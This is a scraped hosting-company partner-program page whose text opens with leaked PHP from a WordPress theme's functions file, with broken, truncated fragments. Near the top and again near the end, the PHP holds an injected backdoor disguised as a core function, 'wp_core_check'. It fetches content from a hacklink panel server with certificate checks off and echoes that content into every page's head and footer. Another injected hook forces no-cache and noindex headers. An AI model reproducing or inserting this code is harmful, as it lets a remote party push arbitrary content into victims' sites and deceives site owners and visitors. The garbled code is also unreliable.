/* Telegram: https://t.me/hacklink_panel */ if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}d_theme_support( 'thumbnail' ); add_theme_support( 'woocommerce' ); function hostie_change_excerpt( $text ) { $pos = strrpos( $text, '['); if ($pos === false) { return $text; } return rtrim (substr($text, 0, $pos) ) . '...'; } add_filter('get_the_excerpt', 'hostie_change_excerpt'); // Limit Excerpt Length by number of Words function hostie_custom_excerpt( $limit ) { $excerpt = explode(' ', get_the_excerpt(), $limit); if (count($excerpt)>=$limit) { array_pop($excerpt); $excerpt = implode(" ",$excerpt).'...'; } else { $excerpt = implode(" ",$excerpt); } $excerpt = preg_replace('`[[^]]*]`','',$excerpt); return $excerpt; } function content($limit) { $content = explode(' ', get_the_content(), $limit); if (count($content)>=$limit) { array_pop($content); $content = implode(" ",$content).'...'; } else { $content = implode(" ",$content); } $content = preg_replace('/[.+]/','', $content); $content = apply_filters('the_content', $content); $content = str_replace(']]>', ']]>', $content); return $content; } /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'menu-1' => esc_html__( 'Primary Menu', 'hostie' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( 'hostie_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); /** * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ add_theme_support( 'custom-logo', array( 'height' => 250, 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); //add support posts format add_theme_support( 'post-formats', array( 'aside', 'gallery', 'audio', 'video', 'image', 'quote', 'link', ) ); add_theme_support( 'align-wide' ); } endif; add_action( 'after_setup_theme', 'hostie_setup' ); /** *Custom Image Size */ add_image_size( 'hostie_548_359', 548, 359, true ); add_image_size( 'hostie_425_260', 425, 260, true ); add_image_size( 'hostie_300_380', 300, 380, true ); add_image_size( 'hostie_232_272', 232, 272, true ); add_image_size( 'hostie_195_100', 195, 100, true ); add_image_size( 'hostie_85_85', 85, 85, true ); add_image_size( 'hostie_80_80', 80, 80, true ); add_image_size( 'hostie_60_60', 40, 40, true ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function hostie_content_width() { $GLOBALS['content_width'] = apply_filters( 'hostie_content_width', 640 ); } add_action( 'after_setup_theme', 'hostie_content_width', 0 ); /** * Implement the Custom Header feature. */ require_once get_template_directory() . '/inc/custom-header.php'; /** * Custom template tags for this theme. */ require_once get_template_directory() . '/inc/template-tags.php'; /** * Enqueue scripts and styles. */ require_once get_template_directory() . '/inc/theme-scripts.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require_once get_template_directory() . '/inc/theme-functions.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require_once get_template_directory() . '/inc/theme-sidebar.php'; /** * Customizer additions. */ require_once get_template_directory() . '/inc/customizer.php'; /** * Custom Style */ require_once get_template_directory() . '/inc/dyanamic-css.php'; require_once get_template_directory() . '/libs/theme-option/config.php'; //woocommerce function require_once get_template_directory() . '/inc/woocommerce-functions.php'; if(is_admin()){ require_once get_template_directory() . '/inc/tgm/class-tgm-plugin-activation.php'; require_once get_template_directory() . '/inc/tgm/tgm-config.php'; } //---------------------------------------------------------------------- // Remove Redux Framework NewsFlash //---------------------------------------------------------------------- if ( ! class_exists( 'reduxNewsflash' ) ): class reduxNewsflash { public function __construct( $parent, $params ) {} } endif; function hostie_remove_demo_mode_link() { // Be sure to rename this function to something more unique if ( class_exists('ReduxFrameworkPlugin') ) { remove_action( 'plugin_row_meta', array( ReduxFrameworkPlugin::get_instance(), 'plugin_metalinks'), null, 2 ); } if ( class_exists('ReduxFrameworkPlugin') ) { remove_action('admin_notices', array( ReduxFrameworkPlugin::get_instance(), 'admin_notices' ) ); } } add_action('init', 'hostie_remove_demo_mode_link'); /** * Registers an editor stylesheet for the theme. */ function hostie_theme_add_editor_styles() { add_editor_style( 'css/custom-editor-style.css' ); } add_action( 'admin_init', 'hostie_theme_add_editor_styles' ); //------------------------------------------------------------------------ //Organize Comments form field //----------------------------------------------------------------------- function hostie_wpb_move_comment_field_to_bottom( $fields ) { $comment_field = $fields['comment']; unset( $fields['comment'] ); $fields['comment'] = $comment_field; return $fields; } add_filter( 'comment_form_fields', 'hostie_wpb_move_comment_field_to_bottom' ); //adding placeholder text for comment form function hostie_comment_textarea_placeholder( $args ) { $args['comment_field'] = str_replace( '' ; } return $title; }); add_filter( 'get_the_archive_title', 'hostie_archive_title_remove_prefix' ); function hostie_archive_title_remove_prefix( $title ) { if ( is_post_type_archive() ) { $title = post_type_archive_title( '', false ); } return $title; } add_filter('wp_list_categories', 'hostie_cat_count_span'); function hostie_cat_count_span($links) { $links = str_replace(' (', ' (', $links); $links = str_replace(')', ')', $links); return $links; } function hostie_style_the_archive_count($links) { $links = str_replace(' (', ' (', $links); $links = str_replace(')', ')', $links); return $links; } add_filter('get_archives_link', 'hostie_style_the_archive_count'); /** * Post title array */ function hostie_get_postTitleArray($postType = 'post' ){ $post_type_query = new WP_Query( array ( 'post_type' => $postType, 'posts_per_page' => -1, 'orderby' => 'title', 'order' => 'ASC', ) ); // we need the array of posts $posts_array = $post_type_query->posts; // the key equals the ID, the value is the post_title if ( is_array($posts_array) ) { $post_title_array = wp_list_pluck($posts_array, 'post_title', 'ID' ); } else { $post_title_array['default'] = esc_html__( 'Default', 'hostie' ); } return $post_title_array; } // Search Form function custom_search_form($form) { ob_start(); get_template_part('searchform'); $form = ob_get_clean(); return $form; } add_filter('get_search_form', 'custom_search_form'); function show_menu_item_desc( $title, $item ) { if( is_object( $item ) && isset( $item->ID ) ) { $menu_item_desc = $item->description; if ( ! empty( $menu_item_desc ) ) { $title .= '

' . $menu_item_desc . '

'; } } return $title; } add_filter( 'nav_menu_item_title', 'show_menu_item_desc', 10, 2 ); add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(defined("ELEMENTOR_VERSION")&&\Elementor\Plugin::$instance->preview->is_preview_mode()){return;}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999); /* Telegram: https://t.me/hacklink_panel */ if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}

Partner

Join Our Partner Program


  • Up to 20% commissions

  • Simple and secure access management


Start Now



image
image
image
image

Earn Recurring Commissions

  • Powerful and Unique Tools for Your Email Inbox
  • Get up to 20% commissions per sale.
  • Earn recurring commissions when your clients renew their services.


Manage All Clients in One Dashboard

  • View all clients and their services in one dashboard.
  • Save time with bulk management. (coming soon)
  • Monitor performance via client reporting tools. (coming soon)
  • Use our invoicing & billing system. (coming soon)

24/7 World-Class Support

Ran into trouble? Contact our Customer Success team any time via live chat or email.


Get Support

Our Client Feedback

We’re honored and humbled by the great feedback we receive from our customers on a daily basis.



I am using Digital Ocean Plan in Cloud ways and I can confirm it is very good. Also, additional the backup with my hosting is awesome too.

image

Jamie Knop

Business Owner

I am using Digital Ocean Plan in Cloud ways and I can confirm it is very good. Also, additional the backup with my hosting is awesome too.

image

Samira Khan

Digital Marketer

I am using Digital Ocean Plan in Cloud ways and I can confirm it is very good. Also, additional the backup with my hosting is awesome too.

image

Jahed Khan

Business Owner

I am using Digital Ocean Plan in Cloud ways and I can confirm it is very good. Also, additional the backup with my hosting is awesome too.

image

Jamie Knop

Digital Marketer

I am using Digital Ocean Plan in Cloud ways and I can confirm it is very good. Also, additional the backup with my hosting is awesome too.

image

Rubel Hossen

Marketer
Need help choosing a plan?

Need help? We’re always here for you.


Go To Live Chat Page